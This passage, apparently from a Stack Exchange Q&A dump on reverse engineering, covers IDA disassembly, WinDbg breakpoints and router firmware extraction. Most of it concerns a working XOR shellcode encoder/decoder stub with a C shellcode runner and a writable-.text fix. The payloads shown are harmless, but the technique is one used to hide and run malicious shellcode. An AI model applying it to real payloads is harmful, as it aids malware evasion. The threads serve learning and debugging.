Commands\n.text:084D182E                 call    dword ptr[eax + 0DCh]\n.text:084D1834                 fstp    dword ptr[edi + 20h]\n.text:084D1837                 mov[esp + 5Ch + var_5C], ebp\n.text:084D183A                 mov     eax, Commands\n.text:084D183F                 call    dword ptr[eax + 0DCh]\n.text:084D1845                 fstp    dword ptr[edi + 1Ch]\n.text:084D1848                 add     esp, 10h\n.text:084D184B\n.text:084D184B loc_84D184B : ; CODE XREF : M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 13j\n.text:084D184B; M00_Damage_Modifier_DME::Damaged(ScriptableGameObj *, ScriptableGameObj *, float) + 25Fj\n.text:084D184B                 add     esp, 3Ch\n.text:084D184E                 pop     ebx\n.text:084D184F                 pop     esi\n.text:084D1850                 pop     edi\n.text:084D1851                 pop     ebp\n.text:084D1852                 retn\n.text:084D1852 _ZN23M00_Damage_Modifier_DME7DamagedEP17ScriptableGameObjS1_f endp\n.text:084D1852\n.text:084D1852; -------------------------------------------------------------------------- -\n
    \n\n

    I tried looking up the opcodes at that area, but it didn't help me solve it either. I'm a complete noob when it comes to assembly.

    \n", "Title": "Unknown comparison", "Tags": "|assembly|x86|decompilation|c|", "Answer": "

    The line in question seems to correspond to this sequence:

    \n\n
    .text:084D16DF                 fldz\n.text:084D16E1                 fxch    st(1)\n.text:084D16E3                 fucompp\n.text:084D16E5                 fnstsw  ax\n.text:084D16E7                 and     ah, 45h\n.text:084D16EA                 xor     ah, 40h\n
    \n\n

    This performs comparison of the FPU stack values, then copies FPU flags to ax and checks its value (probably to determine the result of comparison). Since the Hex-Rays decompiler supports FPU instructions (including comparisons) since at least version 1.1, you either have a too old version or have hit on a bug. Try to update to the latest version or report it if it's still present.

    \n" }, { "Id": "16272", "CreationDate": "2017-09-05T14:40:42.140", "Body": "

    I am trying to set a breakpoint (created in assembly) and step into an EXE file line by line to watch registers and memory behavior. I have done this easily with gdb under Linux like this.

    \n\n
    gdb -q ./AssembledLinkedFile -tui\nbreak _start  (or break *&code for C using shellcode)\nrun\nstepi\n
    \n\n

    This works perfectly. However, The documentation for Windbg does not seem so straight forward.

    \n\n

    Since using GoLink adds several lines of asm, I need to find my assembly and start at the beginning (_start:)

    \n\n

    Current process.

    \n\n
      \n
    1. Write my assembly program.
      2. \n
    2. Assemble (on linux) - nasm -f win64 messageBox64bit.nasm -o messageBox64bit.obj
      3. \n
    3. Link with golink (Windows) - golink \\console messageBox64bit.obj
      4. \n
    4. messageBox64bit.EXE created and works fine. Executed on Windows
      5. \n
    \n\n

    After I open the messageBox64bit.EXE in Windbg, how can I set a breakpoint in my assembly (_start:), then step into?

    \n", "Title": "Debugging EXE File in Windbg and How to set Breakpoints in Assembly", "Tags": "|gdb|windbg|shellcode|nasm|assembly|", "Answer": "

    It seems bp $exentry should set breakpoint on the entrypoint, then you can continue (g) until you hit it.

    \n" }, { "Id": "16274", "CreationDate": "2017-09-05T16:59:26.110", "Body": "

    Should I be able to extract shellcode from a basic (tested and working) Win7-64 message box app and place the extracted shellcode into a tested and working assembly language encoder/decoder and expect it to work? (Assembling & linking for windows instead of linking for linux)

    \n\n

    I have tested a simple XOR encoder/decoder on linux with success using the steps listed below. \nIn short, I have a WORKING XOR encoder/decoder system and I tried using win764 message box shellcode with my encode/decode sytem.(I know this seems obvious I can't run shellcode from linux to windows but there is more to it)

    \n\n

    I simply replaced the extracted shellcode from the Win7 message box into my encode/decode system. Assembled with nasm -fwin64 then linked with golink on windows to get an exe and it crashes every time. (Tested steps without encoder and assemble/link/execute work perfectly)

    \n\n
      \n
    1. I am assembling the XOR decoder for windows - nasm -fwin64 (with message box shellcode pasted in)
      2. \n
    2. linking for windows using golink
      3. \n
    3. Failing to execute on windows
      4. \n
    \n\n

    This is the Linux XOR encode/decode method that works great.

    \n\n
    \n\n
      \n
    1. Uses HelloWorld.nasm
      2. \n
    2. Assemble with - nasm -felf64 HelloWorld.nasm -o HelloWorld.o
      3. \n
    3. Extract shellcode with - for i in $(objdump -d [binary-or-objectfile] |grep \"^ \" |cut -f2); do echo -n '\\x'$i; done;echo
      4. \n

    4. Place HelloWorld shellcode in C wrapper

      \n\n
      #include<stdio.h>\n#include<string.h>\n\nunsigned char code[] = \\\n\"\\xeb\\x1e\\x5e\\x48\\x31\\xc0\\xb0\\x01\\x48\\x89\\xc7\\x48\\x89\\xfa\\x48\\x83\\xc2\\x22\\x0f\\x05\\x48\\x31\\xc0\\x48\\x83\\xc0\\x3c\\x48\\x31\\xff\\x0f\\x05\\xe8\\xdd\\xff\\xff\\xff\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x20\\x0a\";\n\nint  main()\n{\n\n        printf(\"Shellcode Length:  %d\\n\", (int)strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n\n}\n
      5. \n

    5. Run ./HelloWorld (validated that shellcode works in C wrapper)

      \n\n
      6. \n
    \n\n

    Now, I use a simple XOR encoder with python to XOR the HelloWorld shellcode.

    \n\n
    \n\n

    1.python XOREncoder.py

    \n\n

    XORed HelloWorld shellcode formated for nasm output:

    \n\n
              0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0\n
    \n\n
      \n

    1. Place XORed shellcode in XORdecoder.nasm like this:

      \n\n
      global _start\n\nsection .text\n\n_start:\n\n\nstart:\n        jmp find_address\n\ndecoder:\n        pop rdi\n        xor rcx, rcx\n        add cl, 50\ndecode:\n        xor byte [rdi], 0xAA\n        inc rdi\n        loop decode\n\n        jmp short encoded_shellcode\n\nfind_address:\n        call decoder\n\n        encoded_shellcode: db 0x41,0xb4,0xf4,0xe2,0x9b,0x6a,0x1a,0xab,0xe2,0x23,0x6d,0xe2,0x23,0x50,0xe2,0x29,0x68,0x88,0xa5,0xaf,0xe2,0x9b,0x6a,0xe2,0x29,0x6a,0x96,0xe2,0x9b,0x55,0xa5,0xaf,0x42,0x77,0x55,0x55,0x55,0xe2,0xcf,0xc6,0xc6,0xc5,0x8a,0xfd,0xc5,0xd8,0xc6,0xce,0x8a,0xa0\n
      \n\n
        \n
      1. Assembled with - nasm -felf64 HelloWorldEncoded.nasm -o HelloWorldEncoded.o
        2. \n
      2. Compiled with GCC and tested. WORKS!\n\n
        3. \n
      2. \n
    \n\n

    NOW, here is the issue on Windows 7 64

    \n\n

    I found a great example of a WIN 7 64 bit messagebox.nasm that just pops a message box here. So naturally I wanted to test my XOR decoder. So I tried to assemble and link my decoder for windows like this.

    \n\n

    I tested this using these steps described in the link:

    \n\n
      \n

    1. nasm -f win64 messageBox64bit.asm -o messageBox64bit.obj

      2. \n

    2. golink /console messageBox64bit.obj

      3. \n
    3. Execute on Win764 ./messageBox64bit.exe
      4. \n
    \n\n

    GREAT! messageBox64bit.exe pops the message box. Now the ISSUE.

    \n\n
      \n
    1. I assembled messageBox64bit.nasm with nasm
      2. \n
    2. ran extracted messagebox shellcode through XOR encoder
      3. \n
    3. pasted asm friendly XOR encoded shellcode into decoder
      4. \n
    4. Adjust RCX (cl) counter for new shellcode length
      5. \n
    5. Assembled decoder with nasm with -fwin64 option
      6. \n
    6. Linked with golink /console messageBox64bit.obj
      7. \n

    7. Try to execute on WIN 7 64.

      \n\n

      It crashes every damn time What is wrong here?.

      8. \n
    \n\n

    EDIT1:

    \n\n

    Crashes in windbg on the XOR function:

    \n\n
    Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\nxordecoder2+0x1009:\n00000000`00401009 8037aa          xor     byte ptr [rdi],0AAh ds:00000000`00401018=e7\n0:000> t\nds:00000000`00401018=e7\n0:000> t\n
    \n\n

    Edit2. Following the advice from Igor below, I edited the EXE to have the .text section writeable. Apparently the .text section is not writeable for a windows EXE. Error changed to this now:

    \n\n
        (1f08.1af0): Unknown exception - code c0000096 (first chance)\n    (1f08.1af0): Unknown exception - code c0000096 (!!! second chance !!!)\n    *** ERROR: Module load completed but symbols could not be loaded for C:\\data_section_xorencoder7.exe\n    data_section_xorencoder7+0x1016:\n    00000000`00401016 e7ff            out     0FFh,eax\n
    \n\n

    EDIT\nNasm code. XORed shellcode.

    \n\n
        bits 64\n    section .text\n    global start\n\n    start:\n            jmp find_address\n\n    decoder:\n            pop rdi\n            xor rcx, rcx\n            add cx, 260\n    decode:\n            xor byte [rdi], 0xAA\n            inc rdi\n            loop decode\n\n            jmp short encoded_shellcode\n\n    find_address:\n            call decoder\n\n\n            encoded_shellcode: 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69\n
    \n", "Title": "Working Linux assembly XOR Encoder/Decoder Failing on Windows", "Tags": "|assembly|exploit|shellcode|reassembly|nasm|", "Answer": "

    There are few issues with your code.

    \n\n

    1st is what Igor mentioned - .text section is RO. This was solved in this answer.

    \n\n

    The 2nd is that you did not copy correctly the bytes or lost some of them in other way. Your shellcode has 260 bytes, but if I compile the example for the link that you've provided then I get 262. I run them by a short python script to xor them and after that I get this:

    \n\n
    db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69\n
    \n\n

    After you do this the result is

    \n\n

    \"enter

    \n\n

    Full code:

    \n\n
    bits 64\nsection .text\nglobal start\n\nstart:\n        jmp find_address\n\ndecoder:\n        pop rdi\n        xor rcx, rcx\n        add cx, 262\ndecode:\n        xor byte [rdi],0xAA\n        inc rdi\n        loop decode\n\n        jmp short encoded_shellcode\n\nfind_address:\n        call decoder\n\n\nencoded_shellcode: \n       db 0xe2, 0x29, 0x46, 0x82, 0xe2, 0x29, 0x4e, 0x5a, 0xcf, 0xe6, 0x21, 0x8e, 0x8f, 0xca, 0xaa, 0xaa, 0xaa, 0xe7, 0x21, 0xce, 0x8e, 0xb2, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xd6, 0x8e, 0x8a, 0xe7, 0x21, 0x8e, 0x8e, 0xe7, 0x21, 0xce, 0x8e, 0x8a, 0x10, 0x24, 0xe4, 0xa4, 0x46, 0xe6, 0x23, 0x4b, 0x42, 0xc2, 0xaa, 0xaa, 0xaa, 0x41, 0x9e, 0xf3, 0x55, 0x7a, 0x10, 0x2, 0x8, 0xe7, 0x16, 0xe2, 0x23, 0x6b, 0x42, 0xfc, 0xaa, 0xaa, 0xaa, 0xe2, 0x23, 0x69, 0xe7, 0x9b, 0x63, 0x41, 0x94, 0xeb, 0xf2, 0x41, 0x82, 0xf0, 0xe2, 0x9b, 0x63, 0x55, 0x79, 0x10, 0xda, 0x67, 0x95, 0x87, 0xe6, 0x23, 0x53, 0x42, 0x9d, 0xaa, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0x55, 0x7a, 0x42, 0x6d, 0x55, 0x55, 0x55, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa, 0x42, 0x79, 0x55, 0x55, 0x55, 0xfe, 0xc2, 0xc3, 0xd9, 0x8a, 0xc3, 0xd9, 0x8a, 0xcc, 0xdf, 0xc4, 0x8b, 0xaa, 0x42, 0x17, 0x55, 0x55, 0x55, 0x9a, 0xd2, 0xce, 0xcf, 0xcb, 0xce, 0xc8, 0xcf, 0xcf, 0xcc, 0xaa, 0xe3, 0x23, 0x67, 0xcd, 0xeb, 0x21, 0xef, 0x96, 0xcd, 0xef, 0x21, 0x1e, 0xaf, 0x22, 0xaa, 0xaa, 0xaa, 0xef, 0xab, 0x44, 0xcd, 0xef, 0x21, 0xfc, 0xb2, 0xcd, 0xeb, 0x21, 0xf4, 0x8a, 0xee, 0xab, 0x41, 0xcd, 0x49, 0x95, 0xeb, 0x55, 0x60, 0xcd, 0xe8, 0x21, 0x9e, 0x39, 0xee, 0xab, 0x44, 0x9b, 0x55, 0x9b, 0x6a, 0x56, 0x6, 0x2e, 0x6a, 0xde, 0xad, 0x6b, 0x65, 0xa7, 0xab, 0x6d, 0x41, 0x5e, 0x93, 0x7d, 0xdf, 0x77, 0xcd, 0xeb, 0x21, 0xf4, 0x8e, 0xee, 0xab, 0x41, 0x9b, 0x63, 0xcc, 0xcd, 0xe8, 0x21, 0xa6, 0xf9, 0xcd, 0xeb, 0x21, 0xf4, 0xb6, 0xee, 0xab, 0x41, 0xcd, 0x21, 0xae, 0x21, 0xee, 0xab, 0x42, 0x69\n
    \n" }, { "Id": "16278", "CreationDate": "2017-09-06T02:30:47.147", "Body": "

    I have a basic XOR decoder that functions perfectly in Linux, but when I try to move it over to an exe in windows, it fails. I am leaving this question open for historical reference since the issue persists.here\nIt has been suggested that in the assembly decoder, the .text section is not writeable in windows. How can I make this assembly decoder execute and decode/XOR from the .text section in windows as an exe?

    \n\n

    Steps to convert encoder to win 7 64

    \n\n
      \n
    1. nasm -fwin64 Workingwin7messageBoxassembly.nasm -o xorencoder.obj
      2. \n
    2. Extract shellcode from obj file
      3. \n
    3. Insert into encoder.nasm
      4. \n
    4. Assemble encoder nasm -fwin64 encoder.nasm -o xorencoder.obj
      5. \n
    5. On Windows use golink to create exe. golink \\console xorencoder.obj
      6. \n
    6. run exe and crash.
      7. \n
    \n\n

    Tools above have been verified to work to assemble the Workingwin7messageBoxassembly.nasm and create a working exe from golink.

    \n\n

    This approach breaks when I include the extracted shellcode from the assembled/linked Workingwin7messageBoxassembly.nasm and try to have the decoder below call and decode the shellcode. The shellcode below in the encoded_shellcode: section is a XORed version of a win 7-64 message box found here. This method has an access violation when trying to XOR the contents of encoded_shellcode:.

    \n\n
        bits 64\n    section .text\n    global start\n\n    start:\n            jmp find_address\n\n    decoder:\n            pop rdi\n            xor rcx, rcx\n            add rax, 260\n    decode:\n            xor byte [rdi], 0xAA\n            inc rdi\n            loop decode\n\n            jmp short encoded_shellcode\n\n    find_address:\n            call decoder\n\n            encoded_shellcode: db 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69\n
    \n\n

    I edited the .text section using LordPE to make the .text section in the exe writeable to allow the decoder to read from the .text section to decode. It still fails. How do I get this assembly decoder to decode?

    \n", "Title": "How to Make .text Section in Assembly Writeable for Win7-64 EXE", "Tags": "|disassemblers|shellcode|nasm|assembly|", "Answer": "

    I don't see that option in golink linker but if you use i.e. link.exe (Microsoft (R) Incremental Linker Version 14.11.25506.0) then you can use /SECTION parameter to specify that.

    \n\n
    \n

    link /SUBSYSTEM:CONSOLE /ENTRY:start xor.obj /SECTION:.text,RWE

    \n
    \n\n

    After that if you display memory map in xdbg you'll see the change:

    \n\n

    \"enter

    \n\n

    After that, you encoder can modify the code in it

    \n\n

    \"enter

    \n" }, { "Id": "16290", "CreationDate": "2017-09-07T03:04:17.147", "Body": "

    I was searching through my routers admin page some time ago and I've noticed that it doesn't support firmware updates by the user(it's an ISP's speedport entry 2i router(zte variant)). So long story short, after searching through tons of forum comments about that particular model, I've figured that I could probably reverse engineer its firmware(that \"they\"[isp guys] for some reason have available for download at their website) and check how the updates are delivered, a way to disable tr 069 etc.

    \n\n

    Having no experience with reverse engineering I've used google to find some kind of tutorial that would get me started and I kinda did.

    \n\n

    So after reading a few things about every tool referred there I figured I could probably do it.\nBut my firmware wasn't like the one at the example(not sure if it's easier or harder though) so after trying some other things that I thought might work I hit a dead end. Here is a link with all the files I've got so far in case someone want to check them out and maybe point me to the right direction or even try it him/her-self. I would also love any pro-tip in general.

    \n\n

    Binwalk gives me the following output \"this\" so after I found a way to extract the lzma archive I got these 2 files that I don't know how to approach (.7z file is an lzma archive but I've tried unpacking it with binwalk without any luck). I am probably missing something due to the lack of knowledge on the subject, so if any of you out there can help me, please do.

    \n\n

    Thank you in advance for your time :)

    \n", "Title": "Speedport entry 2i zte home router's firmware", "Tags": "|binary-analysis|firmware|", "Answer": "

    I also took a look in this router. The serial port works fine, yet the cfe bootloaded seems locked (while is booting dosen't give you the opportunity to stop the process). After the boot process they did provide a shell but they ask for login credentials. Which still don't know.\nI took a look at the firmware update. Extracting from the jffs2 partition didn't work very well for me. I see the formal linux structure (etc, root, bin ..) yet the only folder having files is the /bin which is not particular useful. Did anyone had any success extracting the /etc folder ?\nMy guess at this point is that a nand flash dump is the way to proceed or a exploit in the web ui that can give us root and continue for there.

    \n\n

    that the boot log:

    \n\n
    ----\nBTL1\nV1.1\nCPUI\nL1CI\nPMCI\nPMCS\nAFEL\nPWRZ\nMEML\nPMCD\nCPUI\nL1CI\nZBSS\nCODE\nDATA\nL12F\nMAIN\nOTP?\nMFGZ\nOTPP\nUSBT\nSNAN\nPASS\n----\nHELO\nCPUI\nL1CI\n4.1602-1.0.38-116.118\nPMCI\nPMCM\nDRAM\n----\nPHYS\nPHYE\nDDR1\n400H\nSIZ4\nLMBE\nRACE\nPASS\n----\nZBSS\nCODE\nDATA\nL12F\nMAIN\nMGIC\nRAM1\n\n\nBase: 4.16_02\nCFE version 1.0.38-116.118 for BCM963381 (32bit,SP,BE)\nBuild Date: Thu Nov 16 19:47:34 CST 2017 (xialei@localhost.localdomain)\nCopyright (C) 2000-2013 Broadcom Corporation.\n\nChip ID: BCM63381B0, MIPS: 600MHz, DDR: 400MHz, Bus: 300MHz\nMain Thread: TP0\nTotal Memory: 134217728 bytes (128MB)\nBoot Address: 0xb8000000\n\nSPI NAND flash device: Winbond W25N01GV, id 0xefaa block 128KB size 131072KB\npmc_init:PMC using DQM mode\nboard_device_init, set not used GPIO to 0 OK!\nInfo: get a version head, the integrality is OK!\nInfo: start_block:[120],kernel_magic_head at :[120], i:[257],ver_blocks:[137]\nInfo: get a version head, the integrality is OK!\nInfo: start_block:[288],kernel_magic_head at :[288], i:[425],ver_blocks:[137]\n\nEntering norm mode ...\nInfo: start_block:120\nInfo: bad blocks before fs:0\nInfo: pL->dwFsStartPhyAddr:10a0000\nInfo: pL->fs_len:f80000\npara->BootParaCksum=0001e693\nDecompression OK!\nEntry at 0x803976c0\nStarting program at 0x803976c0\nLinux version 3.4.11-rt19 (xialei@localhost.localdomain) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Mon Mar 19 17:38:03 CST 2018\n963381REF2 prom init\nCheck boot para cksum...\nboot para cksum OK!\n********************BOOT INFO**************************\nversion_sum:             :      2\nversion_nummax:          :      2\ndwCurrVersionIndex:      :      0\ndwBackVersionIndex:      :      1\n\ndwVersionStartPhyAddr   0:      f00000\ndwHeadRealPhyAddr       0:      2020000\ndwIsCurrentVersion      0:      1\ndwVersionIsBad          0:      0\n\ndwVersionStartPhyAddr:  1:      2400000\ndwHeadRealPhyAddr:      1:      3520000\ndwIsCurrentVersion:     1:      0\ndwVersionIsBad          1:      0\n******************************************************\npdt_verinfo_init: tcVerInfo->RunMode[3]\nbootPara.bootWhichImg=0\nbootPara.img_info_tbl[0].flashOffset=0x       0\nsHardVersion=V1.0\nbootPara.runmode=3\nCPU revision is: 0002a081 (Broadcom BMIPS4350)\nDSL SDRAM reserved: 0x132000\nDetermined physical RAM map:\n memory: 07ece000 @ 00000000 (usable)\nInitrd not found or empty - disabling initrd\nZone PFN ranges:\n  DMA      0x00000000 -> 0x00001000\n  Normal   0x00001000 -> 0x00007ece\nMovable zone start PFN for each node\nEarly memory PFN ranges\n    0: 0x00000000 -> 0x00007ece\nOn node 0 totalpages: 32462\nfree_area_init_node: node 0, pgdat 804b1750, node_mem_map 81000000\n  DMA zone: 32 pages used for memmap\n  DMA zone: 0 pages reserved\n  DMA zone: 4064 pages, LIFO batch:0\n  Normal zone: 222 pages used for memmap\n  Normal zone: 28144 pages, LIFO batch:7\nPERCPU: Embedded 7 pages/cpu @81103000 s5632 r8192 d14848 u32768\npcpu-alloc: s5632 r8192 d14848 u32768 alloc=8*4096\npcpu-alloc: [0] 0 [0] 1 \nBuilt 1 zonelists in Zone order, mobility grouping on.  Total pages: 32208\nKernel command line: root=31:9 ro rootfstype=jffs2  irqaffinity=0\nPID hash table entries: 512 (order: -1, 2048 bytes)\nDentry cache hash table entries: 16384 (order: 4, 65536 bytes)\nInode-cache hash table entries: 8192 (order: 3, 32768 bytes)\nPrimary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.\nPrimary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes\nMemory: 122200k/129848k available (3668k kernel code, 7648k reserved, 1076k data, 240k init, 0k highmem)\nPreemptible hierarchical RCU implementation.\nNR_IRQS:128\nconsole [ttyS0] enabled\nAllocating memory for DSP module core and initialization code\nAllocated DSP module memory - CORE=0x0 SIZE=0, INIT=0x0 SIZE=0\nCalibrating delay loop... 598.01 BogoMIPS (lpj=299008)\npid_max: default: 32768 minimum: 301\nMount-cache hash table entries: 512\n--Kernel Config--\n  SMP=1\n  PREEMPT=1\n  DEBUG_SPINLOCK=0\n  DEBUG_MUTEXES=0\nBroadcom Logger v0.1 Mar 19 2018 17:37:42\nCPU revision is: 0002a081 (Broadcom BMIPS4350)\nPrimary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.\nPrimary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes\nBrought up 2 CPUs\nNET: Registered protocol family 16\npmc_init:PMC using DQM mode\n1192:57:47 [Klogctl][Info] [(562)LogCtlInit] LogCtlInit begin\n1192:57:47 [Klogctl][Info] [(579)LogCtlInit] LogCtlInit end\n1192:57:47 [Kern][Notice] [monitor.c(938)MonitorInit]  cspmonitor init... !  \nregistering PCI controller with io_map_base unset\nregistering PCI controller with io_map_base unset\nBLOG v3.0 Initialized\nBLOG Rule v1.0 Initialized\nBroadcom GBPM v0.1 Mar 19 2018 17:37:43 initialized\nbio: create slab <bio-0> at 0\nSCSI subsystem initialized\nusbcore: registered new interface driver usbfs\nusbcore: registered new interface driver hub\nusbcore: registered new device driver usb\nPCI host bridge to bus 0000:00\npci_bus 0000:00: root bus resource [mem 0x10600000-0x106fffff]\npci_bus 0000:00: root bus resource [io  0x11700000-0x1170ffff]\npci 0000:00:09.0: [14e4:6300] type 00 class 0x0c0310\npci 0000:00:09.0: reg 10: [mem 0x1000c400-0x1000c4ff]\npci 